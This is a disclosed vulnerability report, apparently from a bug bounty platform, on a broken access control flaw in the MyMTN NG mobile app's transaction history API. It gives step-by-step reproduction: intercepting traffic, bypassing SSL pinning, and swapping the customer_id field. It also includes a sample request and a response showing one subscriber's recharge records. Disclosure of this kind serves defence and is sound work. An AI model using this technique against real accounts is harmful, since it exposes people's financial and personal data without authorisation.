MTN Group · Report #2746709
Broken Access Control leads to disclosure of transaction history via /v2/rechargeTransactionHistory endpoint
Validstatus
highseverity
76upvotes
2 Mar 2025disclosed
How it was found
An API endpoint discovered on the MyMTN NG mobile app fails to adequately enforce authorization and authentication mechanisms. Essentially, it allows a bad actor to access the transaction history details for other victims which include rechargeDate, amountAfter, amountBefore and transactionId due to an insufficient authorization check.
Steps To Reproduce:
- Log into the myMTN NG mobile app.
- Set up your proxy tool to intercept the mobile API traffic and bypass the SSL pinning mechanism.
- Visit the transaction history section within the app and intercept the request with your proxy tool.
- Replace the
customer_idfield to any arbitrary MTN number to disclose transaction details of the victim.
Supporting Material/References:
{█████████}
Request to vulnerable endpoint
Host: ████████
Content-Type: application/json
Access-Control-Allow-Origin: *
Accept: application/json
Authorization: ██████
X-Country-Code: nga
Msisdn-Code: 234
Accept-Encoding: gzip, deflate, br
Accept-Language: en-us
Content-Length: 77
User-Agent: myMTN%20NG/14 CFNetwork/1220.1 Darwin/20.3.0
{"customer_id":"2347032233323","start_date":"██████████","end_date":"█████████"}
Response
{"sequenceNumber":"b5fb6af-bc59-57dd-a","data":[{"rechargeDate":"████","amountAfter":"878190.940000","adjustmentType":"RECHARGE","amountBefore":"828190.940000","subscriberId":"2347032233323","rechargeHistory":[{"payType":"VTU","rechargeAmount":"50000.0","description":"VTU"}],"transaction":"VTU"},{"rechargeDate":"███████","amountAfter":"828190.940000","adjustmentType":"RECHARGE","amountBefore":"778190.940000","subscriberId":"2347032233323","rechargeHistory":[{"payType":"VTU","rechargeAmount":"50000.0","description":"VTU"}],"transaction":"VTU"}],"transaction":"VTU"}],"success":true,"resultCode":"0000","links":[],"resultDescription":"Success","transactionId":"████████141033000481","status":200,"statusCode":200}```
## Impact
The potential impact this vulnerability may have on MTN NG can be summarized as follows:
- The impact of this exposure of PII can be devastating to your company, with fallout ranging from recovery costs to decreased customer trust.
- Attackers with access to this private information about a victim can use this information to carryout other nefarious activities.